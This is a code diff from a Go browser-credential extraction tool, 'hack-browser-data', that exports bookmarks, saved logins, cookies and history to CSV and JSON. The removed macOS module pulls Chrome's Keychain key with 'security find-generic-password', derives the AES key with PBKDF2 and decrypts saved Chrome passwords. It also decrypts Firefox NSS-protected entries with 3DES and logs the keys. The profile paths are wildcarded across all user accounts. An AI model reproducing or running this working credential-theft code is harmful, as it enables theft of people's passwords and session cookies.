func (b BrowserData) OutPutCsv(dir, browser, format string) error {
switch {
case len(b.BookmarkSlice) != 0:
filename := utils.FormatFileName(dir, browser, utils.Bookmarks, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail %s", filename, err)
}
file.Write(utf8Bom)
data, err := csvutil.Marshal(b.BookmarkSlice)
file.Write(data)
fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.BookmarkSlice), filename)
fallthrough
case len(b.LoginDataSlice) != 0:
filename := utils.FormatFileName(dir, browser, utils.LoginData, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
file.Write(utf8Bom)
data, err := csvutil.Marshal(b.LoginDataSlice)
file.Write(data)
fmt.Printf("%s Get %d login data, filename is %s \n", log.Prefix, len(b.LoginDataSlice), filename)
fallthrough
case len(b.CookieMap) != 0:
filename := utils.FormatFileName(dir, browser, utils.Cookies, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
var tempSlice []cookies
for _, v := range b.CookieMap {
tempSlice = append(tempSlice, v...)
}
file.Write(utf8Bom)
data, err := csvutil.Marshal(tempSlice)
file.Write(data)
fmt.Printf("%s Get %d cookies, filename is %s \n", log.Prefix, len(b.CookieMap), filename)
fallthrough
case len(b.HistorySlice) != 0:
filename := utils.FormatFileName(dir, browser, utils.History, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
file.Write(utf8Bom)
data, err := csvutil.Marshal(b.HistorySlice)
file.Write(data)
fmt.Printf("%s Get %d login data, filename is %s \n", log.Prefix, len(b.HistorySlice), filename)
}
return nil
}
func (b BrowserData) OutPutJson(dir, browser, format string) error {
switch {
case len(b.BookmarkSlice) != 0:
filename := utils.FormatFileName(dir, browser, utils.Bookmarks, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
enc.Encode(b.BookmarkSlice)
file.Write(w.Bytes())
fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.BookmarkSlice), filename)
fallthrough
case len(b.CookieMap) != 0:
filename := utils.FormatFileName(dir, browser, utils.Cookies, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
err = enc.Encode(b.CookieMap)
if err != nil {
log.Debug(err)
}
file.Write(w.Bytes())
fmt.Printf("%s Get %d cookies, filename is %s \n", log.Prefix, len(b.CookieMap), filename)
fallthrough
case len(b.HistorySlice) != 0:
filename := utils.FormatFileName(dir, browser, utils.History, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
err = enc.Encode(b.HistorySlice)
if err != nil {
log.Debug(err)
}
file.Write(w.Bytes())
fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(b.HistorySlice), filename)
fallthrough
case len(b.LoginDataSlice) != 0:
filename := utils.FormatFileName(dir, browser, utils.LoginData, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
err = enc.Encode(b.LoginDataSlice)
if err != nil {
log.Debug(err)
}
file.Write(w.Bytes())
fmt.Printf("%s Get %d login data, filename is %s \n", log.Prefix, len(b.LoginDataSlice), filename)
}
return nil
}
func (b BrowserData) Sorted() {
sort.Slice(b.BookmarkSlice, func(i, j int) bool {
return b.BookmarkSlice[i].ID < b.BookmarkSlice[j].ID
})
sort.Slice(b.HistorySlice, func(i, j int) bool {
return b.HistorySlice[i].VisitCount > b.HistorySlice[j].VisitCount
})
sort.Sort(b.LoginDataSlice)
}

@ -1,13 +0,0 @@
package core
func (l LoginDataSlice) Len() int {
return len(l)
}
func (l LoginDataSlice) Less(i, j int) bool {
return l[i].CreateDate.After(l[j].CreateDate)
}
func (l LoginDataSlice) Swap(i, j int) {
l[i], l[j] = l[j], l[i]
}

@ -5,7 +5,6 @@ import (
"crypto/cipher" "crypto/cipher"
"crypto/des" "crypto/des"
"encoding/asn1" "encoding/asn1"
"errors"
"fmt" "fmt"
"hack-browser-data/log" "hack-browser-data/log"
"io/ioutil" "io/ioutil"
@ -16,13 +15,6 @@ import (
"time" "time"
) )
var (
errPasswordIsEmpty = errors.New("decrypt failed, password is empty")
errBrowserNotSupported = errors.New("browser not supported")
errKeyIsEmpty = errors.New("input [security find-generic-password -wa 'Chrome'] in terminal")
VersionUnder80 bool
)
type DecryptError struct { type DecryptError struct {
err error err error
msg string msg string
@ -53,13 +45,6 @@ const (
FirefoxKey3DB = "key3.db" FirefoxKey3DB = "key3.db"
) )
func ListBrowser() []string {
var l []string
for k := range browserList {
l = append(l, k)
}
return l
}
func GetDBPath(dir string, dbName ...string) (dbFile []string) { func GetDBPath(dir string, dbName ...string) (dbFile []string) {
for _, v := range dbName { for _, v := range dbName {
@ -122,7 +107,7 @@ func TimeStampFormat(stamp int64) time.Time {
func TimeEpochFormat(epoch int64) time.Time { func TimeEpochFormat(epoch int64) time.Time {
maxTime := int64(99633311740000000) maxTime := int64(99633311740000000)
if epoch > maxTime { if epoch > maxTime {
epoch = maxTime return time.Date(2049, 1, 1, 1, 1, 1, 1, time.Local)
} }
t := time.Date(1601, 1, 1, 0, 0, 0, 0, time.UTC) t := time.Date(1601, 1, 1, 0, 0, 0, 0, time.UTC)
d := time.Duration(epoch) d := time.Duration(epoch)
@ -156,9 +141,9 @@ func WriteFile(filename string, data []byte) error {
} }
func FormatFileName(dir, browser, filename, format string) string { func FormatFileName(dir, browser, filename, format string) string {
r := strings.TrimSpace(strings.ToLower(filename)) r := strings.TrimSpace(strings.ToLower(browser))
r = strings.Replace(r, " ", "_", -1) r = strings.Replace(browser, " ", "_", -1)
p := path.Join(dir, fmt.Sprintf("%s_%s.%s", r, browser, format)) p := path.Join(dir, fmt.Sprintf("%s_%s.%s", r, filename, format))
return p return p
} }

@ -1,190 +0,0 @@
package utils
import (
"bytes"
"crypto/hmac"
"crypto/sha1"
"encoding/asn1"
"encoding/hex"
"errors"
"hack-browser-data/log"
"os/exec"
"strings"
"golang.org/x/crypto/pbkdf2"
)
const (
chromeProfilePath = "/Users/*/Library/Application Support/Google/Chrome/*/"
chromeCommand = "Chrome"
edgeProfilePath = "/Users/*/Library/Application Support/Microsoft Edge/*/"
edgeCommand = "Microsoft Edge"
fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-release/"
fireFoxCommand = ""
)
var (
iv = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
command = []string{"security", "find-generic-password", "-wa"}
chromeSalt = []byte("saltysalt")
chromeKey []byte
browserList = map[string]struct {
ProfilePath string
Command string
}{
"chrome": {
chromeProfilePath,
chromeCommand,
},
"edge": {
edgeProfilePath,
edgeCommand,
},
"firefox": {
fireFoxProfilePath,
fireFoxCommand,
},
}
)
func DecryptStringWithDPAPI(data []byte) (string, error) {
return string(data), nil
}
func PickBrowser(name string) (browserDir, command string, err error) {
name = strings.ToLower(name)
if choice, ok := browserList[name]; ok {
return choice.ProfilePath, choice.Command, err
}
return "", "", errBrowserNotSupported
}
func InitKey(key string) error {
var (
cmd *exec.Cmd
stdout, stderr bytes.Buffer
)
cmd = exec.Command(command[0], command[1], command[2], key)
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
if err != nil {
log.Error(err)
return err
}
if stderr.Len() > 0 {
err = errors.New(stderr.String())
log.Error(err)
}
temp := stdout.Bytes()
chromePass := temp[:len(temp)-1]
decryptChromeKey(chromePass)
return err
}
func decryptChromeKey(chromePass []byte) {
chromeKey = pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New)
}
func DecryptChromePass(encryptPass []byte) (string, error) {
if len(encryptPass) > 3 {
if len(chromeKey) == 0 {
return "", errKeyIsEmpty
}
m, err := aes128CBCDecrypt(chromeKey, iv, encryptPass[3:])
return string(m), err
} else {
return "", &DecryptError{
err: errPasswordIsEmpty,
}
}
}
/*
SEQUENCE (2 elem)
SEQUENCE (2 elem)
OBJECT IDENTIFIER
SEQUENCE (2 elem)
OCTET STRING (20 byte)
INTEGER 1
OCTET STRING (16 byte)
*/
type NssPBE struct {
SequenceA
Encrypted []byte
}
type MetaPBE struct {
SequenceA
Encrypted []byte
}
type SequenceA struct {
DecryptMethod asn1.ObjectIdentifier
SequenceB
}
type SequenceB struct {
EntrySalt []byte
Len int
}
func DecodeMeta(metaBytes []byte) (pbe MetaPBE, err error) {
log.Debug(hex.EncodeToString(metaBytes))
_, err = asn1.Unmarshal(metaBytes, &pbe)
if err != nil {
log.Error(err)
return
}
return
}
func DecodeNss(nssA11Bytes []byte) (pbe NssPBE, err error) {
log.Debug(hex.EncodeToString(nssA11Bytes))
_, err = asn1.Unmarshal(nssA11Bytes, &pbe)
if err != nil {
log.Error(err)
return
}
return
}
func DecryptMeta(globalSalt, masterPwd []byte, pbe MetaPBE) ([]byte, error) {
return decryptPBE(globalSalt, masterPwd, pbe.EntrySalt, pbe.Encrypted)
}
func DecryptNss(globalSalt, masterPwd []byte, pbe NssPBE) ([]byte, error) {
return decryptPBE(globalSalt, masterPwd, pbe.EntrySalt, pbe.Encrypted)
}
func decryptPBE(globalSalt, masterPwd, entrySalt, encrypted []byte) ([]byte, error) {
//byte[] GLMP; // GlobalSalt + MasterPassword
//byte[] HP; // SHA1(GLMP)
//byte[] HPES; // HP + EntrySalt
//byte[] CHP; // SHA1(HPES)
//byte[] PES; // EntrySalt completed to 20 bytes by zero
//byte[] PESES; // PES + EntrySalt
//byte[] k1;
//byte[] tk;
//byte[] k2;
//byte[] k; // final value conytaining key and iv
glmp := append(globalSalt, masterPwd...)
hp := sha1.Sum(glmp)
s := append(hp[:], entrySalt...)
chp := sha1.Sum(s)
pes := PaddingZero(entrySalt, 20)
tk := hmac.New(sha1.New, chp[:])
tk.Write(pes)
pes = append(pes, entrySalt...)
k1 := hmac.New(sha1.New, chp[:])
k1.Write(pes)
tkPlus := append(tk.Sum(nil), entrySalt...)
k2 := hmac.New(sha1.New, chp[:])
k2.Write(tkPlus)
k := append(k1.Sum(nil), k2.Sum(nil)...)
iv := k[len(k)-8:]
key := k[:24]
log.Warnf("key=%s iv=%s", hex.EncodeToString(key), hex.EncodeToString(iv))
return Des3Decrypt(key, iv, encrypted)
}
Loading…
Cancel
Save